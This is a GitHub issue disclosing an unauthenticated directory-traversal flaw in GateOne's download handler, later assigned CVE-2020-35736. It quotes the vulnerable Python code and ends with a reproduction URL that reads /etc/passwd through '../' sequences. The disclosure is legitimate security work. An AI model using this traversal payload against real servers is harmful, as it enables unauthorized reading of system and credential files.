New issue

Jump to bottom

An Arbitrary File Download Vulnerability #747

Open wxdx110 opened this issue on Dec 27, 2020 · 2 comments

wxdx110 commented on Dec 27, 2020

Gateone has a vulnerability that allows arbitrary file download without authentication, which can traverse the directory and read arbitrary files on the target system.

> Code auditing

View the file gateone/core/server.py In line 3692, you can find the place to set the handlers,

```
3691        # Setup our URL handlers
3692        handlers = [
3693            (index_regex, MainHandler),
3694            (r"%sws" % url_prefix,
3695                ApplicationWebSocket, dict(apps=APPLICATIONS)),
3696            (r"%sauth" % url_prefix, AuthHandler),
3697            (r"%sdownloads/(.*)" % url_prefix, DownloadHandler),
3698            (r"%sdocs/(.*)" % url_prefix, tornado.web.StaticFileHandler, {
3699                "path": docs_path,
3700                "default_filename": "index.html"
3701            })
3702        ]
```

You can see that *downloads/* did not use the StaticFileHandler that comes with Tornado, but the method written by the author himself, which may have vulnerabilities.

You can find the definition of the get method on line 924:

```
def get(self, path, include_body=True):
    session_dir = self.settings['session_dir']
    user = self.current_user
    if user and 'session' in user:
        session = user['session']
    else:
        logger.error(_("DownloadHandler: Could not determine use session"))
        return # Something is wrong
    filepath = os.path.join(session_dir, session, 'downloads', path)
    abspath = os.path.abspath(filepath)
    if not os.path.exists(abspath):
        self.set_status(404)
        self.write(self.get_error_html(404))
        return
    if not os.path.isfile(abspath):
        raise tornado.web.HTTPError(403, "%s is not a file", path)
```

Pay attention to the key part. You can see that the path is spelled into filepath without any filtering. There is directory traversal, and any file can be read.

```
932         filepath = os.path.join(session_dir, session, 'downloads', path)
933         abspath = os.path.abspath(filepath)
934         if not os.path.exists(abspath):
935             self.set_status(404)
936             self.write(self.get_error_html(404))
937             return
938         if not os.path.isfile(abspath):
939             raise tornado.web.HTTPError(403, "%s is not a file", path)
```

> Recurrence of vulnerability

Use the official docker image to build the test environment.

1. Pull image

```
docker pull liftoff/gateone
```

2. Run image

```
#Command
docker run [-d/-t] -p [443]:8000 -h [hostname] --name gateone liftoff/gateone gateone
#For example, if 443 is occupied on the server, please use another unused port.
docker run -t -p 443:48620 -h Rats --name gateone liftoff/gateone gateone
```

After installation, visit https://ip:port. Just ignore it if the browser may report that it is not safe.

Packet capture in the process of browsing, and you can successfully read the file */etc/passwd* by visiting https://192.168.150.128:48620/downloads/../../../../etc/passwd .

abergmann commented on Dec 28, 2020

CVE-2020-35736 was assigned to this issue.

OS-WS commented on Dec 30, 2020

Hi is there any fix for this CVE ?

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants